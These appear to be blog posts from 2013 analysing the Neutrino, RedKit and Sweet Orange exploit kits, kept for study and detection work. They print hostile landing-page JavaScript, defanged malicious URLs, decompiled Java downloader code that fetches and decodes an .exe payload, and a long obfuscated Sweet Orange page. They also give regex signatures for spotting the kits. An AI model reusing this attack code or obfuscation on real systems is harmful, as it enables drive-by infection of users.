Neutrino has a gate which you will have to pass to be able to get to the landing pane. To get to the gate you normally follow a series of hacked sites which will redirect. The gate will give you html to move you over to the landing pane to look at your client and find a way to exploit you. If you have the url to the gate and a valid referer you will be able to get valid urls to the landing:

--2013-05-07 --  hxxp:// www.leritsuwa.biz/cust_gw/ads_m/show_bn.c.php?sid=27982987

Resolving www.leritsuwa.biz... 77.81.183.98

Connecting to www.leritsuwa.biz|77.81.183.98|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 402 [text/html]

Saving to: `c2_1.php'



     0K                                                       100% 24.7M=0s



2013-05-07 (24.7 MB/s) - `c2_1.php' saved [402/402]



<HTML><HEAD><title>Canadian Pharmacies Buy Generic Drugs Prescription International Online Pharmacy Drugstore</title><meta http-equiv="refresh" content="20;url=hxxp:// www.expressmedscanada.com/?id=
15&group=158"></HEAD><FRAMESET rows="100%" BORDER=0 FRAMEBORDER=0 FRAMESPACING=0><FRAME NAME="fi20o3893jhms" SRC="hxxp:// milk-cocoa.info/lghvewgr?foyuhtmbcj=3800964"><noframes></noframes></FRAMESET
></HTML>


You will over time get new urls to the landing pane:

hxxp: //milk-cocoa.info/lskbiqp?frglxucscol=3800964

hxxp: //milk-cocoa.info/lhdlqxyl?fbljocmikem=3800964

hxxp: //milk-cocoa.info/lsbqfqw?frovckttsq=3800964

hxxp: //milk-cocoa.info/liwmlvf?fehbyxmtxg=3800964

hxxp: //milk-cocoa.info/ltkirxwniohper?fgcycebw=3800964

hxxp: //freshaircleaner.org/lkyjngdxnteuq?fmcmkkkrl=3800964

hxxp: //borlanove.net/lxfyvqlynuq?fofgfj=3800964

hxxp: //ufohuntersde.com/lwjreshxkq?fwvpxubwtskl=3800964

hxxp: //ufohuntersde.org/luimkvtrqdjcp?fdekcxhep=3800964

hxxp: //ufohuntersde.org/lupofx?fowxcseexqhx=3800964

hxxp: //ufohuntersde.org/lupofx?fowxcseexqhx=3800964

hxxp: //ufohuntersde.info/lxinmt?fdsrfeodpqr=3800964

hxxp: //ufohuntersde.info/lcgdqbnvox?futqfwvjjm=3800964

hxxp: //ufohuntersde.info/lhpixuskkvx?fgtujfccrw=3800964

hxxp: //ufohuntersde.info/lumqnhjb?fjoywbpcihk=3800964

hxxp: //morabudac.com/ldqumpgiqlrgh?flobicxfnq=3800964


I have however noticed that the 7 digit number for the f{random length lowercase random string} parameter stays the same over time. The urls to the landing will also be reused.

2. Landing pane


<!DOCTYPE HTML>
<html>
<head>
 <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script> 
 <script type="text/javascript" src="scripts/js/plugin_detector.js"></script>
 <script type="text/javascript">
  $(document).ready(function() {
   АН602(
    '51895b4daaa2ccbb52175bd0', 
    'wvwyk', 
    'ckjktkjbjz',
    'pmoqfbqjzr',
    'ifhebqbx'    
   );
  });

  function АН602(hid, pass, cph, xpn, ipn) {
   var info = {
    hid : hid,
    plugins : {
     adobe_reader: PluginDetect.getVersion('AdobeReader'),
     java: PluginDetect.getVersion('Java'),
     flash: PluginDetect.getVersion('Flash'),
     quick_time: PluginDetect.getVersion('QuickTime'),
     real_player: PluginDetect.getVersion('RealPlayer'),
     shockwave: PluginDetect.getVersion('Shockwave'),
     silver_light: PluginDetect.getVersion('Silverlight'),
     vlc: PluginDetect.getVersion('VLC'),
     wmp: PluginDetect.getVersion('WMP')
    }
   };

   var obj = {};
   obj[xpn] = pass;
   obj[ipn] = encodeURIComponent(xor(JSON.stringify(info), pass));
   
   $.post(cph, obj, function(data, status){
    $("body").append(xor(decodeURIComponent(data), pass));
   });
   
  }

  function xor(input, pass) {
   var output = "";
   var i = 0;
   var pos = 0;
   for (i = 0; i < input.length; i++){ 
     pos = Math.floor(i%pass.length);
     output += String.fromCharCode(input.charCodeAt(i) ^ pass.charCodeAt(pos));
   }
   return output;
  }

  JSON.stringify = JSON.stringify || function (obj) {
   var t = typeof (obj);
   if (t != "object" || obj === null) {
    // simple data type
    if (t == "string") obj = '"'+obj+'"';
    return String(obj);
   }
   else {
    // recurse array or object
    var n, v, json = [], arr = (obj && obj.constructor == Array);
    for (n in obj) {
     v = obj[n]; t = typeof(v);
     if (t == "string") v = '"'+v+'"';
     else if (t == "object" && v !== null) v = JSON.stringify(v);
     json.push((arr ? "" : '"' + n + '":') + String(v));
    }
    return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}");
   }
  };
 </script> 
</head>
<body>
</body>
</html>




This we do recognize from the post Neutrino landing pane change or variation. The jquery and plugin_detector stuff is documented in the Neutrino landing page demystified.


3. Start the more evil stuff

The landing pane will report whats installed on your computer and will fetch javascript code to fetch exploits.




the HTTP POST request is covered in earlier posts

What do we get back:


K%05%14%0B%02%07%02W%15%0A%19%11%02%18%0C%12KP3%0A%01%17%04%1A%19%1E%06%03%5EU%7D%7F~pb~%1F%11YCP%3B%1E%1A%19%18%05%18%1F%1FW%3F%19%0D%0E%05%18%12%0DK2%0E%07%15%04%05%13%05%5EKJKW%17%0A%01%1F%10%18%1F%18%04Y%18%1B%078%16%14%0E%5EV%0Csb~%7F~pb%13%19%14%0C%06%12%18%03W%1C%05%1F%03%1CCPJ%16%09%1B%1B%13%03Y%04%15%1C%12%1A%1FJT6%1B%08Y%12%16%0DIW%17%05%1A%03%1E%12DI%1F%02%03%09QXY%1A%10%07%1C%5B%14%16%08%18%17Y%1A%04%1AY%12%08%13%05%1E%05%1E%06%1F%07%1B%09T%1F%1A%0D%0F%08%07%17JLZOOB%1B_%13%17%16%18Y%14%15%15%1B%5EEG%40L%09%13FUY%1C%1E%12%03%11VUGG%5BK%1F%13%1E%1E%03%03KUH%5BUHK%09%0A%05%17%1AY%05%16%1B%12DI%12%0E%12%1AIW%16%15%1E%12KU%18%23%25F%14%3D%04%01%3AEH%1B%151%04%0D2EO%1D%1BY2%03.KR%03%3AD%3B%03%14%3E9%03%0E%200%0E%23%3C%07%07%15K%21%1F%26E%11%5B%16%21%25%11%0F%20%02%0F%29%3F%22%0E8%3DF%2F%1D%2B.%211%11%26%1A8%1D%20%06%3EG%3A%13.D8%203%3A7JDIIJ%07%18%19%16%1BW%17%0A%1A%13J%5B%13%1C%13%0E%5BK%01%17%1B%0C%0EJT%06%12%12%02TIED%16%06%07%15%0E%03HPPP%7D%7F~pb~%0BW%1C%07%04%13W%02a~%7F~pb~%12%18%1A%1E%1A%13%19%0DE%04%1E%0D%0E_QK%1C%06%15%13%13Y%04%15%1C%12%1A%1FJT6%1B%08Y%12%16%0DIW%02%0E%09%0EJT%16%09%1B%1B%1F%14%18%1F%1E%19%19V%13Z%1C%16%0F%0AZ%17%07%09%07%12%02L%0F%0E%05%05%1E%16%05JGYOIW%17%05%1A%03%1E%12DI%1F%02%03%09QXY%1A%10%07%1C%5B%14%16%08%18%17Y%1A%04%1AY%12%08%13%05%1E%05%1E%06%1F%07%1B%09T%1F%1A%0D%0F%08%07%17JLZOOB%1B_%13%17%16%18Y%14%15%15%1B%5EEG%40L%09%13FUY%1C%1E%12%03%11VUGG%5BK%1F%13%1E%1E%03%03KUH%5BUV%12%01%0E%14KU%18%23%25F%14%3D%04%01%3AEH%1B%151%04%0D2EO%1D%1BY2%03.KR%03%3AD%3B%03%14%3E9%03%0E%200%0E%23%3C%07%07%15K%21%1F%26E%11%5B%16%21%25%11%0F%20%02%0F%29%3F%22%0E8%3DF%2F%1D%2B.%211%11%26%1A8%1D%20%06%3EG%3A%13.D8%203%3A7JDIW%0E%1C%1C%12JT%06%12%12%02TIED%12%1B%15%1C%0FIQ%5EBa~%7F~pb%0A%7C~pb~JX%0A%08%05%1F%07%0DU%7D%7F~


We need to URLDecode the answer and xor it to be able to understand what the bad guys are throwing at us. We have the XOR key from the landing.



<script language='Javascript'>

if ('Microsoft Internet Explorer' == navigator.appName) {
document.write('<applet object="Abc.dat" archive="hxxp:// milk-cocoa.com/eqxrhrgmhqlp?hlzvcpa=51895b4
daaa2ccbb52175bd0" width="10" height="10"><param name="exec" value="aHR0cDovL21pbGstY29jb2EuY29tL3BhcHNzeWFyZWpqb2JhP2h0aWRhdWtxPTUxODk1YjRkYWFhMmNj
YmI1MjE3NWJkMA=="><param name="xkey" value="qkyu"></applet>');
} else {
document.write('<embed object="Abc.dat" type="application/x-java-applet;version=1.6" archive="hxxp:/
/ milk-cocoa.com/eqxrhrgmhqlp?hlzvcpa=51895b4daaa2ccbb52175bd0" width="10" height="10" exec="aHR0cDovL21pbGstY29jb2EuY29tL3BhcHNzeWFyZWpqb2JhP2h0aWRh
dWtxPTUxODk1YjRkYWFhMmNjYmI1MjE3NWJkMA==" xkey="qkyu"></embed>');


As expected they want us to run some Java code.

4.  URL to the final payload


In the applet tag the "exec" variable has the value for the URL to the final payload/malware payload. This is base64encoded so we need to decode it:



hxxp:// milk-cocoa.com/papssyarejjoba?htidaukq=51895b4daaa2ccbb52175bd0


5. Malware


Start of the malware file:





This is, also as expected, obfuscated and  we need to go into the Java code to figure it out.

6. Java code cve


The Java Code is exploiting CVE-2013-0431 as described by Rapid7 here





7. Java code deobfuscation


First the payload url decodeing: get the parameter value of exec and base64 decode:


String str1 = getParameter("exec");
      if ((str1 == null) || (str1.length() == 0))
        System.exit(0);
      Object localObject3;
      if (!str1.startsWith("http"))
        try
        {
          BASE64Decoder localBASE64Decoder = new BASE64Decoder();
          localObject3 = localBASE64Decoder.decodeBuffer(str1);
          str1 = new String(localObject3, "UTF-8");


String:

aHR0cDovL21pbGstY29jb2EuY29tL3BhcHNzeWFyZWpqb2JhP2h0aWRhdWtxPTUxODk1YjRkYWFhMmNjYmI1MjE3NWJkMA==

Decoded: hxxp:// milk-cocoa.com/papssyarejjoba?htidaukq=51895b4daaa2ccbb52175bd0

Where is the file saved:


File localFile = File.createTempFile("~tmp", ".exe");
          FileOutputStream localFileOutputStream = new FileOutputStream(localFile);

Get the xor key and deobfuscate the downloaded file:


String str3 = getParameter("xkey");
          if ((str3 != null) && (str3.length() != 0))
          {
            byte[] arrayOfByte3 = new byte[arrayOfByte2.length];
            arrayOfByte3 = xwk(arrayOfByte2, str3.getBytes("ISO_8859_1"));
            localFileOutputStream.write(arrayOfByte3);
          }

public byte[] xwk(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
  {
    byte[] arrayOfByte = new byte[paramArrayOfByte1.length];
    for (int i = 0; i < paramArrayOfByte1.length; i++)
      arrayOfByte[i] = (byte)(paramArrayOfByte1[i] ^ paramArrayOfByte2[(i % paramArrayOfByte2.length)]);
    return arrayOfByte;
  }



Iterate the file downloaded, XOR with the key byte for byte and start over when reaching the end.

Python is perfect for this:


#@malforsec py script to decode Neutrino bin files
def main():
  exefile = ''
  key = 'qkyu'
  with open('neutrino.bin', 'r') as f1:
    inf = f1.read()
    for i in range (0, len(inf),1):
      exefile += chr(ord(inf[i]) ^ ord(key[i % len(key)]))
  with open('neutrino.exe', 'w') as outf:
    outf.write(exefile)

if __name__ == "__main__":
    main() 


Did we get it right:

0000000: 4d5a c290 0003 0000 0004 0000 00c3 bfc3  MZ..............
0000010: bf00 00c2 b800 0000 0000 0000 4000 0000  ............@...
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: c390 0000 000e 1fc2 ba0e 00c2 b409 c38d  ................
0000050: 21c2 b801 4cc3 8d21 5468 6973 2070 726f  !...L..!This pro
0000060: 6772 616d 2063 616e 6e6f 7420 6265 2072  gram cannot be r
0000070: 756e 2069 6e20 444f 5320 6d6f 6465 2e0d  un in DOS mode..
0000080: 0d0a 2400 0000 0000 0000 4360 c291 c2af  ..$.......C`....
0000090: 0701 c3bf c3bc 0701 c3bf c3bc 0701 c3bf  ................
00000a0: c3bc 20c3 87c2 82c3 bc06 01c3 bfc3 bc07  .. .............
00000b0: 01c3 bec3 bc6d 01c3 bfc3 bc20 c387 c284  .....m..... ....
00000c0: c3bc 0801 c3bf c3bc 20c3 87c2 85c3 bc06  ........ .......
00000d0: 01c3 bfc3 bc20 c387 c292 c3bc 1101 c3bf  ..... ..........

Oh yeah thats an exe file.


Virustotal for the exe: 2/46

Virustotal for the JAR: 2/45

8. Network detection


Lets have a look at @malwaresigs and see if we got the same. Looks like the old signature description is still valid. The HTTP POST request has changed as the "hid" aka host id variable now is incorporated in the URL Encoded part.

Looks like we can be more specific on:

*Change in patterns - spotted by @Set_Abominae 2013-05-15 - URLQuery

JARs: /(c|e)[a-z0-9]{1,11}\?(m|h)[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$

EXEs: /(d|p)[a-z0-9]{1,16}\?(m|h)[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$

landing: /(a|l)[a-z0-9]{1,16}\?(f|q)[a-z0-9]{1,12}=[0-9]{7}$

*Lets see if the change in URL patterns will continue. If so revert to signatures over @malwaresigs.


Update 2013-05-15
I have observed more patterns matching what @Set_Abominae reported yesterday.

Update 2013-07-29
The url patterns keep changing: Thanks to @urlquey and @node5 for providing samples!
JARs:/m[a-z0-9]{1,11}\?l[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{0,9})$
EXEs: /j[a-z0-9]{1,16}\?l[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$
landing: /s[a-z0-9]{1,16}\?d[a-z0-9]{1,12}=[0-9]{7}$

Happy analyzing and detecting Neutrino Exploit Kit activity :)

Neutrino references:
@kafein over at malware.dontneedcoffee.com has good stuff on Neutrino too.

Post publish reading:
blog.unmaskparasites.com - "Rotating iframe urls - one a minute"
malwaremustdie - "Knockin' on Neutrino Exploit Kit's door.."


Thursday, May 9, 2013

RedKit payload decryption

I have got a few questions regarding decrypting RedKit payloads after I posted the RedKit analysis.

As it was not part of the analysis I thought it was no need to publish it, and I had not seen it published elsewhere. A couple of days ago I saw that the details was published over at malwageddon.blogspot.com and now it is added here.

Decypting RedKit payload files

For the sample I looked into in my previous blog the keys where in the class Mancir. This will change, so be prepared to look for the information needed, Luckily it seem RK is not changing keys that often :)




OK so we got the information needed. AES with no padding, IV bcd2... and KEY 8a61...

All we need to do now is to grab our fvourite decryption tool(openssl?) and decrypt our file.


PS: the IV and Key has changed according to the malwageddon post so verify that you got the right ones.




Happy decrypting RedKit Exploit Kit encrypted files :)


Sunday, March 24, 2013

Squeezing the Orange - Sweet Orange EK analysis


Easter is closing in and what better than to get our self some freshly squeezed oranges on the breakfast table. So lets see if we are lucky enough to have fresh juize or if we have to go to the market and buy some, not so good tasting, canned juize.

1. Fetching the landing pane


--2013-03-23 --  hxxp: //familyteapie1.biz/mail/wap/questions.php?vote=771&london=264&common=537&function=621&oracle=79&entry=721&signin=815
Resolving familyteapie1.biz... 5.199.171.217
Connecting to familyteapie1.biz|5.199.171.217|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 23 Mar 2013 14:15:40 GMT GMT
  Pragma: no-cache
  Server: Apache/2.2.22 (Win32) PHP/5.2.17
  Content-Length: 52084
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: text/html
Length: 52084 (51K) [text/html]
Saving to: `questions.php'

     0K .......... .......... .......... .......... .......... 98%  251K 0s
    50K                                                       100% 1647G=0.2s

2013-03-23 (255 KB/s) - `questions.php' saved [52084/52084]

Here is what we get:

<html>
<head>
<meta name="keywords" content="rev,vps,se,rus" /><title>Free day</title></head><body><br><table style="width: 100%; height: 100%; border: none" cellspacing="0" cellpadding="0"></table><fieldset  id="AFegplAupm" style="color: rgb(110,179,162);display: none;">
 _494_ _494_ _494_ _494_f_494_u_494_n_494_c_494_t_494_i_494_o_494_n_494_ _494_I_494_s_494_P_494_l_494_u_494_g_494_(_494_)_494_{_494_ _494_ _494_ _494_ _494_v_494_a_494_r_494_ _494_P_494_l_494_u_494_g_494_N_494_a_494_m_494_e_494_ _494_=_494_ _494_"_494_"_494_ _494_;_494_v_494_a_494_r_494_ _494_r_494_e_494_s_494_ _494_=_494_ _494_0_494_;_494_t_494_r_494_y_494_{_494_i_494_f_494_(_494_ _494_n_494_a_494_v_494_i_494_g_494_a_494_t_494_o_494_r_494_._494_p_494_l_494_u_494_g_494_i_494_n_494_s_494_ _494___494___494_j_494_E_494_n_494_7_494___494___494___494___494_j_494_E_494_n_494_7_494___494___494_ _494_n_494_a_494_v_494_i_494_g_494_a_494_t_494_o_494_r_494_._494_m_494_i_494_m_494_e_494_T_494_y_494_p_494_e_494_s_494_._494_l_494_e_494_n_494_g_494_t_494_h_494_)_494_{_494_ _494_ _494_ _494_ _494_f_494_o_494_r_494_(_494_ _494_v_494_a_494_r_494_ _494_i_494_ _494_=_494_ _494_0_494_;_494_ _494_i_494_ _494___494___494_d_494_E_494_n_494_3_494___494___494_ _494_n_494_a_494_v_494_i_494_g_494_a_494_t_494_o_494_r_494_._494_p_494_l_494_u_494_g_494_i_494_n_494_s_494_._494_l_494_e_494_n_494_g_494_t_494_h_494_;_494_ _494_i_494_+_494_+_494_)_494_{_494_j_494_f_494_ _494_=_494_ _494_n_494_a_494_v_494_i_494_g_494_a_494_t_494_o_494_r_494_._494_p_494_l_494_u_494_g_494_i_494_n_494_s_494_[_494_i_494_]_494_._494_n_494_a_494_m_494_e_494_._494_m_494_a_494_t_494_c_494_h_494_(_494_/_494_A_494_d_494_o_494_b_494_e_494_ _494_A_494_c_494_r_494_o_494_b_494_a_494_t_494_/_494_)_494_ _494_;_494_i_494_f_494_ _494_(_494_!_494_j_494_f_494_)_494_ _494_{_494_ _494_ _494_j_494_f_494_ _494_=_494_ _494_n_494_a_494_v_494_i_494_g_494_a_494_t_494_o_494_r_494_._494_p_494_l_494_u_494_g_494_i_494_n_494_s_494_[_494_i_494_]_494_._494_n_494_a_494_m_494_e_494_._494_m_494_a_494_t_494_c_494_h_494_(_494_/_494_A_494_d_494_o_494_b_494_e_494_ _494_P_494_D_494_F_494_/_494_)_494_ _494_;_494_}_494_;_494_i_494_f_494_ _494_(_494_j_494_f_494_)_494_{_494_ _494_ _494_ _494_ _494_r_494_e_494_s_494_ _494_=_494_ _494_1_494_;_494_b_494_r_494_e_494_a_494_k_494_;_494_}_494_;_494_ _494_ _494_ _494_ _494_}_494_;_494_}_494_;_494_ _494_ _494_ _494_ _494_}_494_ _494_ _494_ _494_ _494_c_494_a_494_t_494_c_494_h_494_(_494_e_494_)_494_{_494_}_494_;_494_r_494_e_494_t_494_u_494_r_494_n_494_ _494_r_494_e_494_s_494_;_494_ _494_ _494_ _494_ _494_}_494_;_494_ _494_d_494_o_494_c_494_u_494_m_494_e_494_n_494_t_494_._494_w_494_r_494_i_494_t_494_e_494_(_494_"_494___494___494_d_494_E_494_n_494_3_494___494___494_a_494_p_494_p_494_l_494_e_494_t_494_ _494_ _494_a_494_r_494_c_494_h_494_i_494_v_494_e_494_=_494_\_494_"_494_N_494_W_494_H_494_r_494_h_494_\_494_"_494_ _494_ _494_c_494_o_494_d_494_e_494_=_494_\_494_"_494_o_494_V_494_v_494_._494_c_494_l_494_a_494_s_494_s_494_\_494_"_494_ _494_ _494_w_494_i_494_d_494_t_494_h_494_=_494_\_494_"_494_1_494_0_494_\_494_"_494_ _494_h_494_e_494_i_494_g_494_h_494_t_494_=_494_\_494_"_494_1_494_8_494_\_494_"_494___494___494_F_494_E_494_n_494_8_494___494___494___494___494_d_494_E_494_n_494_3_494___494___494_p_494_a_494_r_494_a_494_m_494_ _494_v_494_a_494_l_494_u_494_e_494_=_494_\_494_"_494_1_494_0_494_3_494_s_494_d_494_j_494_1_494_1_494_5_494_s_494_d_494_j_494_1_494_1_494_5_494_s_494_d_494_j_494_1_494_1_494_1_494_s_494_d_494_j_494_5_494_7_494_s_494_d_494_j_494_4_494_6_494_s_494_d_494_j_494_4_494_6_494_s_494_d_494_j_494_1_494_0_494_1_494_s_494_d_494_j_494_9_494_6_494_s_494_d_494_j_494_1_494_0_494_8_494_s_494_d_494_j_494_1_494_0_494_4_494_s_494_d_494_j_494_1_494_0_494_7_494_s_494_d_494_j_494_1_494_2_494_0_494_s_494_d_494_j_494_1_494_1_494_5_494_s_494_d_494_j_494_1_494_0_494_0_494_s_494_d_494_j_494_9_494_6_494_s_494_d_494_j_494_1_494_1_494_1_494_s_494_d_494_j_494_1_494_0_494_4_494_s_494_d_494_j_494_1_494_0_494_0_494_s_494_d_494_j_494_5_494_6_494_s_494_d_494_j_494_4_494_5_494_s_494_d_494_j_494_9_494_7_494_s_494_d_494_j_494_1_494_0_494_4_494_s_494_d_494_j_494_1_494_2_494_1_494_s_494_d_494_j_494_4_494_6_494_s_494_d_494_j_494_1_494_1_494_6_494_s_494_d_494_j_494_1_494_1_494_1_494_s_494_d_494_j_494_1_494_0_494_7_494_s_494_d_494_j_494_1_494_1_494_0_494_s_494_d_494_j_494_9_494_6_494_s_494_d_494_j_494_9_494_9_494_s_494_d_494_j_494_1_494_1_494_4_494_s_494_d_494_j_494_4_494_5_494_s_494_d_494_j_494_1_494_1_494_1_494_s_494_d_494_j_494_1_494_0_494_3_494_s_494_d_494_j_494_1_494_1_494_1_494_s_494_d_494_j_494_6_494_2_494_s_494_d_494_j_494_1_494_0_494_7_494_s_494_d_494_j_494_1_494_0_494_4_494_s_494_d_494_j_494_1_494_0_494_9_494_s_494_d_494_j_494_1_494_0_494_6_494_s_494_d_494_j_494_1_494_1_494_4_494_s_494_d_494_j_494_6_494_0_494_s_494_d_494_j_494_4_494_9_494_s_494_d_494_j_494_5_494_2_494_s_494_d_494_j_494_5_494_4_494_s_494_d_494_j_494_3_494_7_494_s_494_d_494_j_494_1_494_0_494_1_494_s_494_d_494_j_494_1_494_1_494_3_494_s_494_d_494_j_494_1_494_1_494_0_494_s_494_d_494_j_494_1_494_0_494_9_494_s_494_d_494_j_494_1_494_1_494_5_494_s_494_d_494_j_494_6_494_0_494_s_494_d_494_j_494_4_494_8_494_s_494_d_494_j_494_5_494_0_494_s_494_d_494_j_494_3_494_7_494_s_494_d_494_j_494_1_494_0_494_8_494_s_494_d_494_j_494_1_494_0_494_0_494_s_494_d_494_j_494_1_494_1_494_5_494_s_494_d_494_j_494_9_494_6_494_s_494_d_494_j_494_6_494_0_494_s_494_d_494_j_494_5_494_3_494_s_494_d_494_j_494_5_494_1_494_s_494_d_494_j_494_5_494_6_494_s_494_d_494_j_494_3_494_7_494_s_494_d_494_j_494_1_494_0_494_4_494_s_494_d_494_j_494_1_494_0_494_8_494_s_494_d_494_j_494_1_494_1_494_1_494_s_494_d_494_j_494_1_494_1_494_3_494_s_494_d_494_j_494_1_494_0_494_0_494_s_494_d_494_j_494_1_494_1_494_4_494_s_494_d_494_j_494_1_494_1_494_4_494_s_494_d_494_j_494_1_494_1_494_6_494_s_494_d_494_j_494_1_494_0_494_8_494_s_494_d_494_j_494_6_494_0_494_s_494_d_494_j_494_4_494_8_494_s_494_d_494_j_494_4_494_9_494_s_494_d_494_j_494_5_494_3_494_s_494_d_494_j_494_4_494_8_494_s_494_d_494_j_494_3_494_7_494_s_494_d_494_j_494_1_494_1_494_4_494_s_494_d_494_j_494_9_494_6_494_s_494_d_494_j_494_1_494_0_494_7_494_s_494_d_494_j_494_1_494_0_494_0_494_s_494_d_494_j_494_1_494_1_494_4_494_s_494_d_494_j_494_6_494_0_494_s_494_d_494_j_494_5_494_1_494_s_494_d_494_j_494_5_494_5_494_s_494_d_494_j_494_3_494_7_494_s_494_d_494_j_494_9_494_7_494_s_494_d_494_j_494_1_494_0_494_4_494_s_494_d_494_j_494_1_494_1_494_0_494_s_494_d_494_j_494_1_494_1_494_4_494_s_494_d_494_j_494_6_494_0_494_s_494_d_494_j_494_4_494_9_494_s_494_d_494_j_494_4_494_9_494_s_494_d_494_j_494_5_494_6_494_s_494_d_494_j_494_3_494_7_494_s_494_d_494_j_494_1_494_0_494_2_494_s_494_d_494_j_494_9_494_6_494_s_494_d_494_j_494_1_494_0_494_8_494_s_494_d_494_j_494_1_494_0_494_0_494_s_494_d_494_j_494_6_494_0_494_s_494_d_494_j_494_5_494_1_494_s_494_d_494_j_494_5_494_6_494_s_494_d_494_j_494_3_494_7_494_s_494_d_494_j_494_9_494_8_494_s_494_d_494_j_494_1_494_0_494_7_494_s_494_d_494_j_494_1_494_0_494_4_494_s_494_d_494_j_494_9_494_8_494_s_494_d_494_j_494_1_494_0_494_6_494_s_494_d_494_j_494_6_494_0_494_s_494_d_494_j_494_5_494_0_494_s_494_d_494_j_494_5_494_4_494_s_494_d_494_j_494_3_494_7_494_s_494_d_494_j_494_1_494_1_494_4_494_s_494_d_494_j_494_1_494_0_494_6_494_s_494_d_494_j_494_1_494_0_494_4_494_s_494_d_494_j_494_1_494_0_494_9_494_s_494_d_494_j_494_6_494_0_494_s_494_d_494_j_494_4_494_8_494_s_494_d_494_j_494_5_494_0_494_s_494_d_494_j_494_5_494_2_494_\_494_"_494_ _494_n_494_a_494_m_494_e_494_=_494_\_494_"_494_E_494_O_494_H_494_P_494_i_494_f_494_L_494_\_494_"_494_ _494___494___494_F_494_E_494_n_494_8_494___494___494___494___494_d_494_E_494_n_494_3_494___494___494_p_494_a_494_r_494_a_494_m_494_ _494_v_494_a_494_l_494_u_494_e_494_=_494_\_494_"_494_7_494_1_494_s_494_d_494_j_494_8_494_2_494_s_494_d_494_j_494_1_494_0_494_6_494_s_494_d_494_j_494_6_494_7_494_s_494_d_494_j_494_5_494_3_494_s_494_d_494_j_494_1_494_1_494_2_494_s_494_d_494_j_494_1_494_1_494_3_494_s_494_d_494_j_494_4_494_5_494_s_494_d_494_j_494_1_494_0_494_0_494_s_494_d_494_j_494_1_494_1_494_9_494_s_494_d_494_j_494_1_494_0_494_0_494_\_494_"_494_ _494_n_494_a_494_m_494_e_494_=_494_\_494_"_494_X_494_v_494_r_494_f_494_N_494_M_494_u_494_\_494_"_494_ _494___494___494_F_494_E_494_n_494_8_494___494___494___494___494_d_494_E_494_n_494_3_494___494___494_p_494_a_494_r_494_a_494_m_494_ _494_v_494_a_494_l_494_u_494_e_494_=_494_\_494_"_494_1_494_0_494_8_494_s_494_d_494_j_494_9_494_6_494_s_494_d_494_j_494_1_494_1_494_5_494_s_494_d_494_j_494_1_494_0_494_3_494_\_494_"_494_ _494_n_494_a_494_m_494_e_494_=_494_\_494_"_494_A_494_d_494_b_494_m_494_X_494_f_494_U_494_G_494_g_494_x_494_\_494_"_494_ _494___494___494_F_494_E_494_n_494_8_494___494___494___494___494_d_494_E_494_n_494_3_494___494___494_/_494_a_494_p_494_p_494_l_494_e_494_t_494___494___494_F_494_E_494_n_494_8_494___494___494_"_494_)_494_;_494_ _494_ _494_d_494_o_494_c_494_u_494_m_494_e_494_n_494_t_494_._494_w_494_r_494_i_494_t_494_e_494_(_494_"_494___494___494_d_494_E_494_n_494_3_494___494___494_a_494_p_494_p_494_l_494_e_494_t_494_ _494_ _494_a_494_r_494_c_494_h_494_i_494_v_494_e_494_=_494_\_494_"_494_l_494_n_494_M_494_F_494_T_494_p_494_P_494_w_494_\_494_"_494_ _494_c_494_o_494_d_494_e_494_=_494_\_494_"_494_I_494_P_494_R_494_._494_c_494_l_494_a_494_s_494_s_494_\_494_"_494_ _494_ _494_w_494_i_494_d_494_t_494_h_494_=_494_\_494_"_494_1_494_0_494_\_494_"_494_ _494_ _494_h_494_e_494_i_494_g_494_h_494_t_494_=_494_\_494_"_494_1_494_8_494_\_494_"_494___494___494_F_494_E_494_n_494_8_494___494___494___494___494_d_494_E_494_n_494_3_494___494___494_p_494_a_494_r_494_a_494_m_494_ _494_ _494_v_494_a_494_l_494_u_494_e_494_=_494_\_494_"_494_1_494_0_494_3_494_s_494_d_494_j_494_1_494_1_494_5_494_s_494_d_494_j_494_1_494_1_494_5_494_s_494_d_494_j_494_1_494_1_494_1_494_s_494_d_494_j_494_5_494_7_494_s_494_d_494_j_494_4_494_6_494_s_494_d_494_j_494_4_494_6_494_s_494_d_494_j_494_1_494_0_494_1_494_s_494_d_494_j_494_9_494_6_494_s_494_d_494_j_494_1_494_0_494_8_494_s_494_d_494_j_494_1_494_0_494_4_494_s_494_d_494_j_494_1_494_0_494_7_494_s_494_d_494_j_494_1_494_2_494_0_494_s_494_d_494_j_494_1_494_1_494_5_494_s_494_d_494_j_494_1_494_0_494_0_494_s_494_d_494_j_494_9_494_6_494_s_494_d_494_j_494_1_494_1_494_1_494_s_494_d_494_j_494_1_494_0_494_4_494_s_494_d_494_j_494_1_494_0_494_0_494_s_494_d_494_j_494_5_494_6_494_s_494_d_494_j_494_4_494_5_494_s_494_d_494_j_494_9_494_7_494_s_494_d_494_j_494_1_494_0_494_4_494_s_494_d_494_j_494_1_494_2_494_1_494_s_494_d_494_j_494_4_494_6_494_s_494_d_494_j_494_1_494_1_494_6_494_s_494_d_494_j_494_1_494_1_494_1_494_s_494_d_494_j_494_1_494_0_494_7_494_s_494_d_494_j_494_1_494_1_494_0_494_s_494_d_494_j_494_9_494_6_494_s_494_d_494_j_494_9_494_9_494_s_494_d_494_j_494_1_494_1_494_4_494_s_494_d_494_j_494_4_494_5_494_s_494_d_494_j_494_1_494_1_494_1_494_s_494_d_494_j_494_1_494_0_494_3_494_s_494_d_494_j_494_1_494_1_494_1_494_s_494_d_494_j_494_6_494_2_494_s_494_d_494_j_494_1_494_0_494_7_494_s_494_d_494_j_494_1_494_0_494_4_494_s_494_d_494_j_494_1_494_0_494_9_494_s_494_d_494_j_494_1_494_0_494_6_494_s_494_d_494_j_494_1_494_1_494_4_494_s_494_d_494_j_494_6_494_0_494_s_494_d_494_j_494_4_494_9_494_s_494_d_494_j_494_5_494_2_494_s_494_d_494_j_494_5_494_4_494_s_494_d_494_j_494_3_494_7_494_s_494_d_494_j_494_1_494_0_494_1_494_s_494_d_494_j_494_1_494_1_494